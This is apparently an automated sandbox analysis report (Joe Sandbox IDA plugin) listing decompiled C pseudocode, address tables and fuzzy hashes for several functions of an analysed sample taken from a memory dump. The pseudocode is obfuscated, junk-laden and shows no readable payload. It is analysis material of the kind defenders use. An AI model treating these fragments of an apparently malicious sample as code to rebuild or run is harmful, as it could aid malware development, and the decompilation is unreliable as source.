					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t118;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t121 = 0x9a;
					_t45 = E00401277(_t61, _t118, _t130, _t133, _t135, _t147);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t139 = 0x10eba4a4 |  *(_t133 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t140 = _t139 |  *(_t133 + _t135 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t140);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t162 = (_t160 -  *0x000000F7) *  *0x8c;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t127);
					asm("salc");
					_t162 = _t162 +  *_t133;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t128 = _t127 ^  *0xd05b5b70;
				} while ((_t127 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t132);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t133);
				_t153 = _t121 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t140;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t132, _t133, 0x13eba4a4, _t153);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t132, _t133, _t153); // executed
				_t154 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t132, _t154,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L25:
						_t159 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t124 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t124 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t124);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t128, _t159);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t132, _t133, 0x13eba4a4, _t159);
					} else {
						_t51 = E00402255(_t162,  *((intOrPtr*)(0x13eba4a0)));
						_t156 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t132, _t133, _t156, _t162);
							_t157 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t157, _t162,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L25;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a68
0x00402a68
0x00402a68
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000D.00000002.813480749.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_8633.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5ce9d8f38c6a1832c1f617ca6f2b2dbab99815177e54b5282bbfeaab51e76cd
Instruction ID: 82ad2b52174684eab274c82477a3a8af7fb59672a5e0ddff72ba5353dc29b957
Opcode Fuzzy Hash: e5ce9d8f38c6a1832c1f617ca6f2b2dbab99815177e54b5282bbfeaab51e76cd
Instruction Fuzzy Hash: 11514332109101DEEB00AE64AFDA9AAF764FF15378B3001B7DC416E1E6C37B5646DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A6C, Relevance: .2, Instructions: 216
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E00402A6C(unsigned int __ebx, signed int* __edx, void* __edi, intOrPtr* __esi, void* __fp0) {
				void* _t41;
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t67;
				void* _t68;
				void* _t73;
				void* _t74;
				signed int _t91;
				signed int* _t114;
				void* _t119;
				void* _t122;
				void* _t125;
				signed int* _t127;
				signed int _t128;
				void* _t130;
				signed int _t131;
				void* _t133;
				intOrPtr* _t134;
				void* _t135;
				void* _t139;
				signed int _t140;
				signed int _t141;
				unsigned int _t146;
				void* _t154;
				void* _t161;
				signed long long _t163;

				_t161 = __fp0;
				_t134 = __esi;
				_t130 = __edi;
				_t127 = __edx;
				_t63 = __ebx >> 0xd;
				_t146 = __ebx >> 0xd;
				_t122 = 0x9d;
				_t42 = E00401277(_t41, _t63, __edi, __esi, _t135, _t146);
				_pop(_t67);
				 *(_t67 + 0x3e) =  *(_t67 + 0x3e) ^ 0x00000012;
				_pop(_t68);
				 *((intOrPtr*)(_t68 + 0x35)) =  *((intOrPtr*)(_t68 + 0x35)) - _t68;
				asm("aaa");
				_t73 = 0x5b5b695b;
				 *((intOrPtr*)(_t73 + 0x3e)) =  *((intOrPtr*)(_t73 + 0x3e)) - 0x12;
				_pop(_t74);
				 *((intOrPtr*)(_t74 + 0x68)) =  *((intOrPtr*)(_t74 + 0x68)) - _t74;
				asm("aaa");
				asm("aaa");
				_t91 = 0x5b5b695b;
				asm("das");
				_t140 = _t139 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t136 = 0xdea4a4a7;
				asm("wait");
				_push(_t140);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t134);
				_t131 = _t130 -  *0xFFFFFFFFDEA4A4EF;
				_t148 = _t91 ^ _t131;
				if((_t91 ^ _t131) < 0) {
					_pop(_t114);
					_t134 = _t134 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t136 = 0xdea4a4a7 - _t131;
					asm("int3");
					 *_t114 =  *_t114 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t119 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t119;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t122 = 0x9a;
					_t45 = E00401277(_t61, _t119, _t131, _t134, _t136, _t148);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t140 = 0x10eba4a4 |  *(_t134 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t141 = _t140 |  *(_t134 + _t136 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t141);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t163 = (_t161 - _t127[0x1a]) *  *_t127;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t128);
					asm("salc");
					_t163 = _t163 +  *_t134;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t129 = _t128 ^  *0xd05b5b70;
				} while ((_t128 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t133);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t134);
				_t154 = _t122 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t141;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t133, _t134, 0x13eba4a4, _t154);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t133, _t134, _t154); // executed
				_t155 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t133, _t155,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L23:
						_t160 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t125 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t125 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t125);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t129, _t160);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t133, _t134, 0x13eba4a4, _t160);
					} else {
						_t51 = E00402255(_t163,  *((intOrPtr*)(0x13eba4a0)));
						_t157 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t133, _t134, _t157, _t163);
							_t158 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t158, _t163,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L23;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000D.00000002.813480749.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_8633.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eb334b091ada3894d7bc2550cdcc7fd4771e28d89526815cda72f1da41a8dec
Instruction ID: ac3f9a48b8241fa4787baba6bb88e996d90e4b1d5655853c31ab7ffc92292063
Opcode Fuzzy Hash: 5eb334b091ada3894d7bc2550cdcc7fd4771e28d89526815cda72f1da41a8dec
Instruction Fuzzy Hash: 6251543200A101DFEB00AF64AEDA5AAFB64FF15378B3401A7DC416E1E2D37B5642DA56

Uniqueness

Uniqueness Score: -1.00%

Function 00402B38, Relevance: .1, Instructions: 135
COMMON

Download Yara Rule

C-Code - Quality: 30%

			E00402B38(signed int* __edx, void* __edi, intOrPtr* __esi, void* __fp0) {
				void* _t25;
				intOrPtr _t26;
				void* _t29;
				void* _t32;
				void* _t35;
				void* _t37;
				void* _t65;
				signed int* _t67;
				signed int _t68;
				void* _t73;
				intOrPtr* _t74;
				void* _t75;
				signed int _t78;
				signed int _t79;
				signed int _t80;
				void* _t84;
				signed long long _t99;

				_t74 = __esi;
				_t67 = __edx;
				_t71 = __edi + 1;
				_t84 = __edi + 1;
				asm("das");
				asm("a16 scasb");
				_t26 = E00401277(_t25, 0x9ab9, _t71, __esi, _t75, _t84);
				asm("salc");
				asm("fcom dword [esi+0x6b]");
				_t79 = _t78 |  *(_t74 + _t75 - 0x59614c49);
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t80 = _t79 |  *(_t74 + _t75 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t80);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t99 = (__fp0 - _t67[0x1a]) *  *_t67;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t68);
					asm("salc");
					_t99 = _t99 +  *_t74;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t26;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t26 = 0x49;
					_t69 = _t68 ^  *0xd05b5b70;
				} while ((_t68 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t73);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t74);
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t29 =  *_t80;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t29, 0x688e1679, _t73, _t74, 0x13eba4a4, 0x9b);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t32 = E004025E8(_t73, _t74, 0x9b); // executed
				_t91 = _t32;
				if(_t32 != 0) {
					if(E00401F34(_t73, _t91,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L17:
						_t96 = gs;
						if(gs != 0) {
							_t35 = 0x688e6ab7;
							_t65 = 0x2ef8;
						} else {
							_t35 = 0x688e471e;
							_t65 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t65);
						_push(_t35);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t69, _t96);
						_t37 = 0x2c1c;
						_t32 = E00401277(_t37, 0x688e1679, _t73, _t74, 0x13eba4a4, _t96);
					} else {
						_t32 = E00402255(_t99,  *((intOrPtr*)(0x13eba4a0)));
						_t93 = _t32;
						if(_t32 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t32 = L00402321(0x688e1679, _t73, _t74, _t93, _t99);
							_t94 = _t32;
							if(_t32 != 0) {
								_t32 = E00401FF1(_t94, _t99,  *((intOrPtr*)(0x13eba4a0)));
								if(_t32 != 0) {
									goto L17;
								}
							}
						}
					}
				}
				return _t32;
			}

0x00402b38
0x00402b38
0x00402b38
0x00402b38
0x00402b39
0x00402b3a
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000D.00000002.813480749.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_8633.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f51a1350f02f31ca673438723fbeaec66e0bac50b46ce53ae83f4c302164230
Instruction ID: 3e85d14ce6c36aa09c03589aa9c8c3521ff663fa5e1e86b555b0dc280717ecfe
Opcode Fuzzy Hash: 2f51a1350f02f31ca673438723fbeaec66e0bac50b46ce53ae83f4c302164230
Instruction Fuzzy Hash: 17412A31109101EFFB01AB51DF8A5AEB775FF19368B2000BBDC417A1D2D77E5A05DA16

Uniqueness

Uniqueness Score: -1.00%

Function 00402BFB, Relevance: .1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00402BFB(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t28;
				intOrPtr* _t30;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("adc al, 0x62");
				_push(0x2c1c);
				_t12 =  *_t30;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t35 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t35,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L11:
						_t40 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						_push( *((intOrPtr*)(_t21 + 0x8336)));
						_push(_t23);
						_push(_t18);
						_push( *((intOrPtr*)(_t28 - 4)));
						E0040193B(_t25, _t40);
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t40);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t37 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t37, __fp0);
							_t38 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t38, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L11;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402bfb
0x00402bfb
0x00402bfb
0x00402bfb
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000D.00000002.813480749.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_8633.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a8bd4eca60c59e258f16d0e70a1738de93e05cd34cc8aa36a9a378a6468ebc1
Instruction ID: 52cd7e5ac6ed9cc019fbfcf69bdf72a742899d53516448c63c37d0d49b3bd750
Opcode Fuzzy Hash: 4a8bd4eca60c59e258f16d0e70a1738de93e05cd34cc8aa36a9a378a6468ebc1
Instruction Fuzzy Hash: 7111213050C105EAFF01A6518F5E97E72699F01348F24007BAD42B52E2D7BD9F16B62F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C01, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00402C01(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				signed int _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t34 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t34,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L8:
						_t39 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						E0040193B(_t25, _t39,  *((intOrPtr*)(_t28 - 4)), _t18, _t23,  *((intOrPtr*)(_t21 + 0x8336)));
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t39);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t36 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t36, __fp0);
							_t37 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t37, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L8;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c01
0x00402c01
0x00402c01
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000D.00000002.813480749.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_8633.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aba60e48e92cb2b09b873d5c8ea28a2240f160238eccea7537a2bd1afc53be07
Instruction ID: 94dd4e34baa45bb6a7d52d13517e1efb42c98130ce2376b8e4646defd1028816
Opcode Fuzzy Hash: aba60e48e92cb2b09b873d5c8ea28a2240f160238eccea7537a2bd1afc53be07
Instruction Fuzzy Hash: D2011220118105F9FF0167528F1A97E75299F01348F24007BAC41B52E2DBBD8F15A62F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C12, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00402C12(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				signed int _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("a16 push es");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t34 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t34,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L8:
						_t39 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						E0040193B(_t25, _t39,  *((intOrPtr*)(_t28 - 4)), _t18, _t23,  *((intOrPtr*)(_t21 + 0x8336)));
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t39);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t36 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t36, __fp0);
							_t37 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t37, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L8;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c12
0x00402c12
0x00402c12
0x00402c12
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000D.00000002.813480749.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_8633.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 591edc4c612f48173f805103314d01a2d3c18d9f074296c9ecf59b10e61bd19b
Instruction ID: 69eb8ccb3173368d7466cfbebad6b250e745b2528687b1428edbefbc5d99c229
Opcode Fuzzy Hash: 591edc4c612f48173f805103314d01a2d3c18d9f074296c9ecf59b10e61bd19b
Instruction Fuzzy Hash: 5001DE20518105FAFF01A6528F5A97E75699F01348F24007BAD42B52E2DBBD8F16AA2F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C16, Relevance: .0, Instructions: 49
COMMON

Download Yara Rule

